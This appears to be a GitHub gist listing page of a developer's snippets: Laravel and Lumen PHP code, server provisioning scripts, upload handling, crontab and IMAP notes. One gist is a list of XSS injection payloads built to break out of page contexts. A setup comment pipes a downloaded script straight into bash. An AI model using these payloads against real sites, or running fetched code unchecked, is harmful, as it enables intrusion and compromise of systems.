Skip to content

Instantly share code, notes, and snippets.

View mstaack's full-sized avatar
🎯
Focusing

Max mstaack

🎯
Focusing
View GitHub Profile
@mstaack
mstaack / middleware
Created October 30, 2015 20:04
middleware
<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Contracts\Auth\Guard;
class Authenticate
{
/**
@mstaack
mstaack / install-oci8.sh
Created December 15, 2015 19:45 — forked from crynobone/install-oci8.sh
Provision Oracle InstantClient for Ubuntu Vagrant.
#!/usr/bin/env bash
export LD_LIBRARY_PATH=/opt/oracle/instantclient
export ORACLE_HOME=/opt/oracle/instantclient
echo "Instantclient path: instantclient,/opt/oracle/instantclient"
sudo pecl install oci8
sudo echo "extension=oci8.so" >> /etc/php5/fpm/php.ini
@mstaack
mstaack / setup.sh
Last active December 21, 2015 18:30
setup.sh
# CORE DEBIAN/UBUNTU INSTALLATION SCRIPT
# RUN WITH wget -O- $LATEST_URL | /bin/bash
#basic stuff
apt update
locale-gen de_DE.UTF-8
apt install -y software-properties-common git screen htop atop iftop apachetop tcpdump mtr zsh autojump curl wget
apt upgrade -y
#php 7.0
@mstaack
mstaack / lumen_ide_helper.php
Created December 21, 2015 20:08 — forked from barryvdh/lumen_ide_helper.php
Lumen IDE Helper
<?php
/**
* A helper file for Laravel 5, to provide autocomplete information to your IDE
* Generated for Laravel Lumen (5.1.1) (Laravel Components 5.1.*) on 2015-08-18.
*
* @author Barry vd. Heuvel <barryvdh@gmail.com>
* @see https://github.com/barryvdh/laravel-ide-helper
*/
namespace {
@mstaack
mstaack / Chunking: server-side
Created December 29, 2015 00:12 — forked from jayarjo/Chunking: server-side
Plupload Examples: Chunking
<?php
if (empty($_FILES) || $_FILES['file']['error']) {
die('{"OK": 0, "info": "Failed to move uploaded file."}');
}
$chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
$chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;
$fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : $_FILES["file"]["name"];
@mstaack
mstaack / xss
Created February 3, 2016 16:55
xss list
"></style><script>a=eval;b=alert;a(b(/ xss fired/.source));</script>'">
';alert(/xss fired/)//';alert(/xss fired/)//";alert(/xss fired/)//";alert(/xss fired/)//--></sCRipT>">'><sCRipT>alert(/xss fired/)</sCRipT>
""});});})'"--></SCRIPT>>'"</style>>'"></title>'"><marquee><h1>'"R3NW4</
h1>'"</marquee>:;'"><)<SCRIPT>prompt(/xss fired/)</SCRIPT>'"$
\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";</SCalert(String.fromCharCode(88String.fromCharCode(88,
115, 115, 32, 66, 121, 32, 72, 51, 65, 82, 84, 95, 66, 76, 51, 51, 68),
83, 83))RIPT>\">\'><SCRIPT>alert("xss fired")</SCRIPT>
';alert(/xss fired)//\';alert(1)//";alert(2)//\";al+ert(3)//--></SCRIPT>">'><SCRIPT>alert(/xss fired/)+</SCRIPT>=&{}");}aler+t(6);function+xss(){//&q=';alert(0)//\';alert(1)//";alert(2)//\";alert+(3)//--></SCRIPT>">'+><SCRIPT>alert(/xss fired/)</SCRIPT>=&{}");}alert(6+);function+xss(){//
@mstaack
mstaack / oci8 connect with quick connect string
Created February 8, 2016 14:58
oci8 connect with quick connect string
$ressource = oci_connect('username','passwowrd','yourdatabase:1521/service')
@mstaack
mstaack / composer.json
Created February 13, 2016 15:01 — forked from naderman/composer.json
Composer Meta Package
{
"name": "naderman/sample-meta-package",
"version": "1.0.0",
"type": "metapackage",
"require": {
"naderman/package1": "self.version",
"naderman/package2": "self.version",
"naderman/package3": "2.0.3"
}
}
@mstaack
mstaack / crontab
Created March 6, 2016 23:42
one-line webserverstats
00 00 * * * zcat `find /var/log/apache2/ -name "access.log.*.gz" -mtime -35` | goaccess > monthly-$(date +'%Y.%m').html
@mstaack
mstaack / parse-imap.md
Created March 8, 2016 19:54 — forked from karanth/parse-imap.md
Notes on parsing IMAP responses

The IMAP protocol workflow consists of the following steps,

  • A network connection established between the client and the server.
  • A greeting message sent by the server indicating that the client has successfully connected.
  • A series of interactions between the client and server.

The interactions consists of strings of lines, i.e. string terminated by a carriage return and a line feed (CRLF or \r\n). Interactions can be both commands (sent by clients) and data (sent by clients and servers). Both the client and the server strictly interact using lines or known length octet streams (8-bit characters) followed by a line.

####Client

An IMAP client issues commands to the server in a CRLF terminated string. The syntax of a command includes a tag, followed by the command and parameters. A tag is an alphanumeric identifier and each client command has a different tag for that session. A tag could be something like but not limited to A1, A2 etc.